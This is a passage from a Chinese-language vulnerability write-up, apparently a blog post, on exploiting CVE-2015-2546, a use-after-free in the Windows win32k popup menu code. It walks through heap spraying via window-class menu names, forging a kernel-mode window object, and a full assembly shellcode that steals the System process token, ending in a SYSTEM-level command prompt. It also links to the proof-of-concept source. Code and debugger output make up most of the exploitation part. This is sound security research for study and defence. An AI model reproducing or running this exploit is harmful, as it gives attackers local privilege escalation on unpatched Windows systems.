当执行流回到函数 xxxMNMouseMove 中时,目标弹出菜单对象已被销毁并释放,但寄存器 edx 仍旧存储被释放弹出菜单对象的地址,在没有对该地址进行有效性判断的前提下,函数直接调用 xxxMNHideNextHierarchy 函数,导致释放后重用漏洞的触发。


释放后重用的触发

在函数 xxxMNMouseMove 中调用 xxxSendMessage 发送 MN_SETTIMERTOOPENHIERARCHY 消息的下一条指令位置下断点,并在测试环境中执行编译后的验证代码程序。命中断点后观测数据,可发现目标菜单窗口对象的扩展区域原本指向关联的弹出菜单对象的指针已被置空;而存储在寄存器 ebx 中的目标弹出菜单对象的内存块已处于 Free 状态:

win32k!xxxMNMouseMove+0x14e:
9481953d 85c0            test    eax,eax
kd> r esi
esi=fe810050
kd> ?poi(esi+b0)
Evaluate expression: 0 = 00000000
kd> r ebx
ebx=ffb6e328
kd> !pool ffb6e328
Pool page ffb6e328 region is Paged session pool
 ffb6e000 size:  260 previous size:    0  (Allocated)  Gla5
 ffb6e260 size:   10 previous size:  260  (Allocated)  Glnk
 ffb6e270 size:   10 previous size:   10  (Allocated)  Glnk
 ffb6e280 size:   a0 previous size:   10  (Allocated)  Gla8
*ffb6e320 size:   40 previous size:   a0  (Free ) *Uspm Process: 85bc5338
         Pooltag Uspm : USERTAG_POPUPMENU, Binary : win32k!MNAllocPopup
 [...]

目标弹出菜单对象的内存块已处于 Free 状态

接下来执行流进入 xxxMNHideNextHierarchy 函数调用并将目标弹出菜单对象地址作为参数传入,在该函数中向成员域 spwndNextPopup 指向的子菜单窗口对象发送消息。由于已被释放内存的目标弹出菜单对象的各个成员域已被置空,因此该函数在判断后将直接返回,不会导致系统 BSOD 的发生。

0x4 利用

前面通过编写验证代码实现了对释放后重用漏洞的触发。在验证代码自定义的挂钩处理程序中,通过调用 DestroyWindow 函数触发销毁用于利用的菜单窗口对象,这将导致系统在内核中直接释放目标菜单窗口对象所关联的弹出菜单 tagPOPUPMENU 对象,而在内核中该对象的指针仍旧存储在寄存器 ebx 中。

在函数 xxxSendMessage 返回后,函数 xxxMNMouseMove 并没有从目标菜单窗口对象的扩展区域重新获取该指针,也没有对寄存器中存储的地址进行验证,就直接将该地址作为参数传入函数 xxxMNHideNextHierarchy 中。在函数 xxxMNHideNextHierarchy 中对参数指向的目标弹出菜单对象的成员域 spwndNextPopup 进行访问,此时该地址的内存区域处于被释放(Free)状态,这就导致了释放后重用的发生。


内存区域的重新占用

接下来通过在已被释放的弹出菜单对象的内存区域重新分配新的内存块并构造其中的数据,实现对该漏洞的利用和内核提权。与之前分析 CVE-2017-0263 时类似地,在利用代码中使用批量创建普通窗口对象并设置窗口类菜单名称的方式来实现。


利用代码批量设置窗口类菜单名称以占用被释放的弹出菜单对象

在利用代码中注册 256 个随机类名称的窗口类以避免重复,并通过每个窗口类创建一个普通窗口对象。

for (INT i = 0; i < 0x100; i++)
{
    WNDCLASSEXW Class      = { 0 };
    WCHAR       szTemp[20] = { 0 };
    HWND        hwnd       = NULL;
    wsprintfW(szTemp, L"%x-%d", rand(), i);
    Class.cbSize        = sizeof(WNDCLASSEXA);
    Class.lpfnWndProc   = DefWindowProcW;
    Class.cbWndExtra    = 0;
    Class.hInstance     = GetModuleHandleA(NULL);
    Class.lpszMenuName  = NULL;
    Class.lpszClassName = szTemp;
    RegisterClassExW(&Class);
    hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
        0,
        0,
        0,
        0,
        NULL,
        NULL,
        GetModuleHandleA(NULL),
        NULL);
    hWindowList[iWindowCount++] = hwnd;
}

利用代码批量注册和创建普通窗口对象

接着在利用代码自定义的挂钩处理程序 xxWindowHookProc 判断 message0x1F0 的情况的处理逻辑中,增加对前面批量创建的每个普通窗口对象设置窗口类菜单名称的调用:

DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0xdddddddd;  //->flags
dwPopupFake[0x1] = (DWORD)0xdddddddd;  //->spwndNotify
dwPopupFake[0x2] = (DWORD)0xdddddddd;  //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)0xdddddddd;  //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)0xdddddddd;  //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)0xdddddddd;  //->spmenu
dwPopupFake[0x6] = (DWORD)0xdddddddd;  //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)0xdddddddd;  //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xdddddddd;  //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)0xdddddddd;  //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xdddddddd;  //->posSelectedItem
dwPopupFake[0xB] = (DWORD)0xdddddddd;  //->posDropped
dwPopupFake[0xC] = (DWORD)0;
for (UINT i = 0; i < iWindowCount; ++i)
{
    SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}

利用代码对批量创建的普通窗口对象设置窗口类菜单名称

由于 MENUNAME 字段属于 WCHAR 字符串格式,因此在初始化缓冲区时需要将所有数值设置为不包含连续 2 字节为 0 的情况。通过调用函数 SetClassLongW 为目标窗口对象设置 MENUNAME 字段时,系统最终在内核中为窗口对象所属的窗口类 tagCLS 对象的成员域 lpszMenuName 分配并设置 UNICODE 字符串缓冲区。

由于成员域 lpszMenuName 指向的缓冲区和弹出菜单 tagPOPUPMENU 对象的缓冲区同样是进程配额的内存块,因此两者所占用的额外内存大小相同,只需要将在利用代码中为每个窗口对象设置的 MENUNAME 缓冲区长度设置为与 tagPOPUPMENU 大小相同的长度,那么通常情况下在内核中总有一个窗口对象的 MENUNAME 缓冲区被分配在先前释放的根弹出菜单对象的内存区域中,成为伪造的根弹出菜单 tagPOPUPMENU 对象。

这样一来,由于占用原位置的弹出菜单对象各个成员域被填充了 0xdddddddd 这种无意义的地址,因此在函数 xxxMNHideNextHierarchy 中访问成员域时将会触发缺页异常导致系统 BSOD 的发生。接下来构造伪造的子菜单窗口对象,并使占位的目标弹出菜单对象成员域 spwndPrevPopup 指向伪造对象的地址。

kd> dc ebx
fd602df0  dddddddd dddddddd dddddddd dddddddd  ................
fd602e00  dddddddd dddddddd dddddddd dddddddd  ................
fd602e10  dddddddd dddddddd dddddddd dddddddd  ................
fd602e20  00000000 85dde030 00070008 69707355  ....0.......Uspi
fd602e30  ff4e22c8 92662f70 0084d032 00000000  ."N.p/f.2.......
fd602e40  0023a8e4 00000000 00020910 000c0fc0  ..#.............
fd602e50  00000460 00000000 00000004 00000000  `...............
fd602e60  46340007 64667454 8779d438 87c5d970  ..4FTtfd8.y.p...

占用原位置的弹出菜单对象各个成员域的数据


内核利用的准备工作

在利用代码的早期阶段定义结构体 SHELLCODE 以存储当前进程的 PID 以及关键内核对象成员域的偏移值和内核利用成功反馈变量,并存储 ShellCode 代码的入口点。

typedef struct _SHELLCODE {
    DWORD reserved;
    DWORD pid;
    DWORD off_THREADINFO_ppi;
    DWORD off_EPROCESS_ActiveLink;
    DWORD off_EPROCESS_Token;
    BOOL  bExploited;
    BYTE  pfnWindProc[];
} SHELLCODE, *PSHELLCODE;

利用代码定义的 SHELLCODE 结构体

在用户进程中分配 0x1000 字节大小的 RWX 内存块用来作为结构体 SHELLCODE 的对象实例,初始化对象的各个成员域,将内核利用函数的代码完整拷贝到以成员域 pfnWindProc 地址作为起始的 ShellCode 代码内存区域。

接下来在分配的内存块后段划分出 0xb0 字节大小的区域用作伪造的子菜单窗口 tagWND 对象,使其成员标志位 bServerSideWindowProc 置位(决定消息处理函数在内核上下文直接执行),并将消息处理函数成员域 lpfnWndProc 修改为 ShellCode 代码的首地址。后续的实际内核利用的操作将通过这里的 ShellCode 代码在内核上下文中进行。

pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
ZeroMemory(pvShellCode, 0x1000);

ptagWNDFake = (PDWORD)((PBYTE)pvShellCode + 0xf00);
ptagWNDFake[0x05] = (DWORD)0x40000;                  //->state[bServerSideWindowProc]
ptagWNDFake[0x12] = (DWORD)pvShellCode->pfnWindProc; //->lpfnWndProc

pvShellCode->pid                     = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName    = 0x050;
pvShellCode->off_THREADINFO_ppi      = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token      = 0x0f8;
for (UINT i = 0; ; i++)
{
    if (*(DWORD *)&((PBYTE)xxPayloadWindProc)[i] == 0xcccccccc)
    {
        CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, i);
        break;
    }
}

利用代码分配并初始化 SHELLCODE 对象

在验证代码自定义的挂钩处理函数中,将原本为成员域 spwndNextPopupspwndActivePopup 赋值的 0xdddddddd 改成在此处伪造的目标菜单窗口对象 ptagWNDFake 的地址。

dwPopupFake[0x3] = (DWORD)ptagWNDFake; //->spwndNextPopup
[...]
dwPopupFake[0x7] = (DWORD)ptagWNDFake; //->spwndActivePopup

更新占用原位置的弹出菜单对象部分成员域的值

由于在函数 xxxSendMessageTimeout 中存在对目标窗口对象指向线程信息对象的成员域的判断,因此利用代码需要将伪造的菜单窗口对象指针成员域 pti 赋值为当前线程的线程信息对象地址,这可以通过 HMValidateHandle 内核地址泄露技术根据前面创建的任意窗口对象句柄来实现。成员域 pti 在内核利用的函数代码中还将用作定位进程体 EPROCESS 链表的线索。

PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndFakeMenu);
((PTHRDESKHEAD)ptagWNDFake)->pti = head->pti;

赋值伪造的菜单窗口对象的线程信息结构体指针成员域


内核利用的函数代码

用来实施内核利用的 ShellCode 函数代码将作为伪造的子菜单窗口对象的内核模式消息处理函数在内核上下文中执行。函数的执行通过函数 xxxMNHideNextHierarchy 向目标子菜单窗口对象发送 0x1E5 消息来触发。

在 ShellCode 函数开始位置,判断通过参数传入的消息是否是 0x1E5,不是的情况则直接返回。

push    ebp;
mov     ebp, esp;
mov     eax, dword ptr[ebp + 0Ch];
cmp     eax, 01E5h;
jne     LocRETURN;

在 32 位的 Windows 操作系统中,用户上下文代码段寄存器 CS 值为 0x1B,借助这个特性,在 ShellCode 函数代码中判断当前执行上下文是否在用户模式下,如是则直接返回。

mov     ax, cs;
cmp     ax, 1Bh;
je      LocRETURN;

首先备份当前所有通用寄存器的数值在栈上,接下来通过 CALL-POP 技术获取当前 EIP 执行指令的地址,并根据相对偏移计算出存储在 ShellCode 函数代码前面位置的结构体 SHELLCODE 对象的首地址:

cld;
pushad;
call    $+5;
pop     edx;
sub     edx, 35h;

接下来获取先前存储在伪造子菜单窗口对象成员域 pti 中的线程信息 tagTHREADINFO 对象指针,并继续获取线程信息对象中存储的进程信息 tagPROCESSINFO 对象指针,并获取对应进程的进程体 EPROCESS 对象指针。各个成员域的偏移在结构体 SHELLCODE 对象中存储。

LocGetEPROCESS:
mov     ecx, dword ptr[ebp + 8];
mov     ecx, dword ptr[ecx + 8];
mov     ebx, dword ptr[edx + 08h];
mov     ecx, dword ptr[ebx + ecx];
mov     ecx, dword ptr[ecx];
mov     ebx, dword ptr[edx + 0Ch];
mov     eax, dword ptr[edx + 4];

接下来根据进程体 EPROCESS 对象的成员域 ActiveProcessLinks 双向链表和成员域 UniqueProcessId 进程标识符找到当前进程的 EPROCESS 地址。由于 UniqueProcessId 是成员域 ActiveProcessLinks 的前一个成员域,因此直接使用 SHELLCODE 对象中存储的 ActiveProcessLinks 偏移值来定位 UniqueProcessId 的位置。

push    ecx;

LocForCurrentPROCESS:
cmp     dword ptr[ebx + ecx - 4], eax;
je      LocFoundCURRENT;
mov     ecx, dword ptr[ebx + ecx];
sub     ecx, ebx;
jmp     LocForCurrentPROCESS;

LocFoundCURRENT:
mov     edi,ecx;
pop     ecx;

紧接着继续遍历进程体 EPROCESS 对象链表,以找到 System 进程的进程体对象地址。

LocForSystemPROCESS:
cmp     dword ptr[ebx + ecx - 4], 4;
je      LocFoundSYSTEM;
mov     ecx, dword ptr[ebx + ecx];
sub     ecx, ebx;
jmp     LocForSystemPROCESS;

LocFoundSYSTEM:
mov     esi, ecx;

执行到这一步已定位到当前进程和 System 进程的进程体对象地址,接下来就使用 System 进程的成员域 Token 指针替换当前进程的 Token 指针。

mov     eax, dword ptr[edx + 10h];
add     esi, eax;
add     edi, eax;
lods    dword ptr[esi];
stos    dword ptr es : [edi];

此时当前进程已拥有 System 进程的 Token 指针,额外增加的引用需要手动为目标 Token 对象增加对象引用计数。在 NT 执行体模块中大多数内核对象都是以 OBJECT_HEADER 结构体作为头部结构:

kd> dt nt!_OBJECT_HEADER
   +0x000 PointerCount     : Int4B
   +0x004 HandleCount      : Int4B
   [...]
   +0x014 SecurityDescriptor : Ptr32 Void
   +0x018 Body             : _QUAD

该结构位于内核对象地址前面的位置,内核对象起始于 OBJECT_HEADER 结构体的 Body 成员域。手动增加指针引用需要对成员域 PointerCount 进行自增。

and     eax, 0FFFFFFF8h;
add     dword ptr[eax - 18h], 2;

接下来大功告成,置位 SHELLCODE 对象成员域 bExploited 已向用户进程传递利用成功的反馈信号。恢复前面备份的通用寄存器的数值到寄存器中。

mov     dword ptr[edx + 14h], 1;
popad;
xor     eax, eax;

LocRETURN:
leave;
ret     10h;

在函数末尾设置 5 个 int 3 指令,以便在前面拷贝内核利用的函数代码时能够定位到函数的末尾。


提权成功

在自定义的事件通知处理程序 xxWindowEventProc 函数中,待发送 WM_MOUSEMOVE 的函数 SendMessage 调用返回后,增加对 SHELLCODE 对象的内核利用反馈变量成员域 bExploited 数值的判断:

if (pvShellCode->bExploited)
{
    bDoneExploit = TRUE;
}

自定义事件通知处理程序增加对内核利用反馈变量的判断

如果变量已被赋值,则将全局变量 bDoneExploit 赋值为 TRUE。通过主线程监听全局变量 bDoneExploit 是否被赋值,并在后续代码逻辑中创建新的命令提示符进程。


启动的命令提示符进程已属于 System 用户身份

可以观测到新启动的命令提示符已属于 System 用户身份。


后记

这个漏洞和 CVE-2017-0263 都是 tagPOPUPMENU 对象的释放后重用漏洞,不同的是利用的时机:CVE-2017-0263 是在内核函数释放目标弹出菜单对象之后才得以满足触发条件,而本分析中的 CVE-2015-2546 需要用户进程的利用代码主动触发释放目标弹出菜单对象的逻辑。对该漏洞的利用总体来讲比 CVE-2017-0263 的利用更为简单,对 CVE-2017-0263 的利用代码几乎可以不经修改地对该漏洞使用,同时也没有任何被破坏需要修复的内核对象存在。

0x5 链接

[0] 本分析的 POC 下载

https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2015-2546/x86.cpp

[1] 从 CVE-2017-0263 漏洞分析到菜单管理组件

https://xiaodaozhi.com/exploit/71.html

[2] Kernel Attacks through User-Mode Callbacks

http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf

[3] sam-b/windows_kernel_address_leaks

https://github.com/sam-b/windows_kernel_address_leaks

[4] Two for One: Microsoft Office Encapsulated PostScript and Windows Privilege Escalation Zero-Days

https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf

[5] CVE-2015-2546:从补丁比对到Exploit

http://xlab.baidu.com/cve-2015-2546%EF%BC%9A%E4%BB%8E%E8%A1%A5%E4%B8%81%E6%AF%94%E5%AF%B9%E5%88%B0exploit/

[6] WM_MOUSEMOVE message

https://msdn.microsoft.com/en-us/library/ms645616(VS.85).aspx

文章链接: https://xiaodaozhi.com/exploit/122.html